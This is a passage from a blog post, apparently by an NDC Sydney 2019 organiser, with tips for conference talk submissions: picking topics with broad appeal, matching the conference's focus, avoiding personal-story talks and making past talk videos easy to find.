Attendees will likely be familiar with what you will discuss or can quickly learn about it and it wont draw people to the conference.

Well known speakers can however probably revisit any topic they want as will still draw a crowd but if you are reading this article this probably is not you (yet!).

Consider the conference you are submitting to
NDC has a wide range of development talks with probably a lean towards the Microsoft platform. A talk on very niche subjects of say Perl may be better suited else where.

Consider avoiding personal story/philosophy style talks
Whilst you may have some awesome stuff to say unless you are well known or have a particularly interesting story to tell the general audience we may not be that excited about how your cat gave you a different perspective on Angular (I’d love to hear over a beer however).

Some subjects are going to be a harder sell
Its no surprise that the development world has trends and there are some subjects that just aren’t that popular right now.

Something that is very niche such as run SQL Server on custom Finish Alpine Linux kernel reverse proxy docker container on Google cloud is probably only going to be relevant to a few people so likely wont get in.

Other subjects such as old JavaScript libraries or stuff that has fallen out of favour will also be a harder (but not impossible) sell.

Make it easy for us to find your past talks
You do have past-talks right?

A commercial conference likes to see a speakers history so they have some assurance you will do a good talk.

If you have no history then you are a risk which is a shame as you may be awesome and have lots to say!

There’s an easy way to deal with this and that’s to go and talk at various user groups and meetups and do talks.

Practice is also going to make you a better speaker full stop.

Expecting a commercial conference to take a chance on you if you have no history of speaking is a bit of an ask – but does happen.

We do look in detail into short listed speakers, try and find a quick look at videos of previous talks etc so make them easy to find!

For those of you that wont be successful this time to NDC Sydney please don’t be put off -keep submitting talks, talk at your local user group & DDD events and try again next year.

I’m really excited about the agenda we have for NDC Sydney 2019 and (I’m biased) but its seriously the best ever!